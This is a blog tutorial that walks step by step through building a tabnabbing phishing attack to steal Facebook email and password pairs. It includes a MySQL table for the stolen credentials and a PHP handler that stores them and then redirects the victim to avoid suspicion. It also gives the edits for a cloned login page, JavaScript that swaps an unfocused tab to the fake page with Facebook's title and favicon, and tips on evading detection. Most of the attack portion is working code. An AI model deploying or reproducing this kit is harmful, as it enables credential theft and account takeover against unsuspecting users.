I recently learned about tabnabbing/tabgrabbing and decided to give it a try for myself. If you are unaware of what tabnabbing/tabgrabbing is then I suggest you point your browser to http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ for more detailed information regarding the attack.
The idea behind this attack is to deceive the user into believing they have left open a browser tab that has expired credentials in the hope that they’ll attempt to reauthenticate themselves so we’re able to steal their credentials. It’s important to note that the user must not have an expired session or have logged out from the site we are attempting to steal credentials from. The gist of this attack is that the user submits their credentials, we steal them, and then redirect them to the site they were attempting to access in the first place. In order to do this we’ll need someplace to store these valuable credentials so the first thing I did was setup a MySQL database to house them.
adam@localhost:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 101
Server version: 5.1.41-3ubuntu12.3 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> CREATE DATABASE tabnab;
Query OK, 1 row affected (0.00 sec)
mysql> USE tabnab;
Database changed
mysql> CREATE TABLE facebook (email VARCHAR(40), password VARCHAR(40));
Query OK, 0 rows affected (0.07 sec)
mysql> DESCRIBE facebook;
+----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| email | varchar(40) | YES | | NULL | |
| password | varchar(40) | YES | | NULL | |
+----------+-------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
mysql> quit
Bye
Instead of creating a database table variable name of 'username' or 'uid' I decided to use 'email' instead because I'm going to attempt to steal a user's Facebook login credentials (email and password).
Replicate Facebook's Login Page
The next thing that needs to be done is to create a copy of Facebook's login page. I grabbed the Facebook source code, made a copy and saved the file as fb_expired.php. Here is a screenshot of what this file (http://localhost/fb_expired.php) looks like on my system:
As you can see, it's identical to the page at Facebook.com. We now have a database ready to accept credentials and a page that allows a user to submit their credentials, however just not to us yet. I would like to point out that if you do intend to use this attack it would not be wise to request data from Facebook's servers. Instead, I would attempt to save any additional source code (*.css, *.js, images, etc.) locally to the machine running the web server and modify your source code appropriately to avoid this:
In other words, avoid putting yourself into the mix (this goes for the machine running the database as well). Next we're going to write some PHP code that will store the credentials submitted by the user into our database. Here's a quick overview of what this PHP file will do: connect to our database, grab the user's credentials from the form, store the credentials in the database, and finally redirect the user to Facebook.
Steal The Credentials
We have to find out what the names of the inputs are within the form that is going to submit the credentials. These input names come from the Facebook source code and look like this:
<input type="text" class="inputtext" name="email" id="email" tabindex="1" />
<input type="password" class="inputtext" name="pass" id="pass" tabindex="2" />
From the above lines of code we can see that we need to grab the 'email' and 'name' portions of the login form. We'll do this with $_POST. Here is the source code for our PHP file (Yes, I realize it could be more elegant/compact).
<?php
/*
* Connect to the database and select it.
*/
$host = 'localhost';
$db_userid = 'username';
$db_passwd = 'password';
$db_name = 'tabnab';
$db_table = 'facebook';
$db_connect = mysql_connect($host, $db_userid, $db_passwd);
if (!$db_connect) {
// If there is an error connecting to the database, redirect
// the user to the appropriate site to avoid suspicion.
header("Location: https://www.facebook.com/home.php?");
exit;
}
$db_select = mysql_select_db($db_name, $db_connect);
if (!$db_select) {
// Again, if there is an error selecting the datbase, redirect
// the user to the appropriate site to avoid suspicion.
header("Location: https://www.facebook.com/home.php?");
exit;
}
/*
* Grab the user's credentials and make the data play nicely.
*/
$email = $_POST['email'];
$passwd = $_POST['pass'];
$email = stripslashes($email);
$passwd = stripslashes($passwd);
$email = mysql_real_escape_string($email);
$passwd = mysql_real_escape_string($passwd);
/*
* Store the user's credentials in the database.
*/
$sql = "INSERT INTO " . $db_table . "(email, password) VALUES ('$email', '$passwd')";
if (!mysql_query($sql, $db_connect)) {
// Again, if there is an error adding the record to the
// database, redirect the user to the appropriate site
// to avoid suspicion.
header("Location: https://www.facebook.com/home.php?");
exit;
}
/*
* Redirect the user to the appropriate site.
*/
header("Location: https://www.facebook.com/home.php?");
/*
* Cleanup.
*/
mysql_close($db_connect);
?>
Modify Facebook's Source
Now let's modify the Facebook source code, our fb_expired.php file, to store the user's credentials in our database when they attempt to login. We need to find this piece of code in the source:
<form method="POST" action="https://login.facebook.com/login.php?login_attempt=1" id="login_form">
Change this line of code to point to the PHP file you created earlier (fb_login.php) instead of pointing to https://login.facebook.com/login.php?login_attempt=1.
We can now test our code by pointing our browser to our fb_expired.php page (remember to be logged into Facebook to observe the redirect!). If I attempt to reauthenticate myself using the email address 'bob@dole.com' with a password of 'bobbydole' we should see these credentials in our database table as a new row.
mysql> SELECT * FROM facebook;
+--------------+-----------+
| email | password |
+--------------+-----------+
| bob@dole.com | bobbydole |
+--------------+-----------+
1 row in set (0.00 sec)
Implement the Attack Launching Landing Page
Everything seems to test out properly. We need to implement a landing page capable of launching the attack. This landing page will reside within your site and hopefully you're able to provide some information that will cause them to browse away from your site. This is easier than it sounds thanks to the 'target' attribute of hyperlinks (target="_blank"). By providing some information that causes the reader to click on a link, say to Wikipedia to gain more knowledge on a 2006 BMW M3, your site will lose focus thanks to a new tab opening with the Wikipedia article.
Below is the code to my landing page. This is just an ordinary page using HTML, PHP and the WordPress Codex. The important element of this landing page is the inclusion of some Javascript that is responsible for launching the attack. We will discuss this Javascript code next. My Javascript inclusion looks like this within my landing pages' code:
<script type="text/javascript" src="/wp-content/uploads/2010/06/bgattack.js" charset="utf-8"></script>
Here is the code to my landing page:
<?php get_header(); ?>
<div id="content_wrap">
<div id="content">
<div class="post">
<div class="post-header">
<h2>Example -- Tabnabbing Facebook User Credentials</h2>
</div>
<div id="entry">
<p>This is the demo page. After 10 seconds of lost focus to
this page, the attack will occur.</p>
<p>Please be advised that if you attempt to provide
credentials during the attack you will simply be redirected
to Facebook.com. The reason behind this is that the code
attempts to store the user's credentials in a database
record, however, this portion of the code has not been
configured to work with a live database. It was coded to
work with my local system within my testing environment
and the error handling provided in the fb_login.php file
simply redirects to Facebook.com should any errors occur
during database connection, selecting a database and
table, and record insertion.</p>
<p>If you want to try this out for yourself within your
own testing environment you'll need a LAMP/WAMP setup
and the source files I provided on the previous page.</p>
<script type="text/javascript"
src="/wp-content/uploads/2010/06/bgattack.js"
charset="utf-8"></script>
</div>
</div>
</div>
</div>
<?php get_sidebar(); ?>
<div class="clear"></div>
</div>
</div>
<?php get_footer() ?>
Grabbing the Tab with Javascript
With our landing page, expired credential page, and backend login page we're almost done creating this attack. The last piece to our tabnabbing puzzle is some Javascript which I mentioned earlier. The purpose of the Javascript is to detect when the tab has lost focus and to redirect the tab to point to our phony Facebook login page. The Javascript will also change the title and favicon of our phony Facebook page to match that of Facebook's real site. We are going to use a bit of code provided by Aza Raskin. I have modified his code to reflect my needs. I removed his createShield() function, implemented a pageRedirect() function, altered the changeItUp() function to use the correct data for Facebook, and changed the delay timer that launches our attack to 10 seconds after the tab has lost focus.
This is my modified code for the bgattack.js file:
(function() {
var TIMER = null;
var HAS_SWITCHED = false;
// Events
window.onblur = function() {
TIMER = setTimeout(changeItUp, 10000);
}
window.onfocus = function() {
if(TIMER) clearTimeout(TIMER);
}
// Utils
function setTitle(text) { document.title = text; }
// This favicon object rewritten from:
// Favicon.js - Change favicon dynamically
// [http://ajaxify.com/run/favicon]
// Copyright (c) 2008 Michael Mahemoff. Icon updates only
// work in Firefox and Opera.
favicon = {
docHead: document.getElementsByTagName("head")[0],
set: function(url) {
this.addLink(url);
},
addLink: function(iconURL) {
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = iconURL;
this.removeLinkIfExists();
this.docHead.appendChild(link);
},
removeLinkIfExists: function() {
var links = this.docHead.getElementsByTagName("link");
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
this.docHead.removeChild(link);
return; // Assuming only one match at most.
}
}
},
get: function() {
var links = this.docHead.getElementsByTagName("link");
for (var i=0; i<links.length; i++) {
var link = links[i];
if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
return link.href;
}
}
}
};
function pageRedirect() {
window.location = "http://www.commondork.com/wp-content/uploads/2010/06/fb_expired.php";
}
function changeItUp(){
if( HAS_SWITCHED == false ){
pageRedirect();
setTitle("Welcome to Facebook");
favicon.set("https://www.facebook.com/favicon.ico");
HAS_SWITCHED = true;
}
}
})();
Attack Demo
That's all of the code needed for this type of attack. You can demo the attack by pointing your browser to the landing page we created earlier, fb_tabnab.php and then by coming back to the tab with this article.
You can download all four of my source code files, tabnab_source.zip (Windows) and tabnab_source.tar.gz (Linux/Unix).
It is interesting to note that once this attack launches, if you have the landing page saved in your bookmarks, that bookmark will update with the new favicon and new site title as well. Could this technique somehow lead to bookmark abuse as well?


Commentary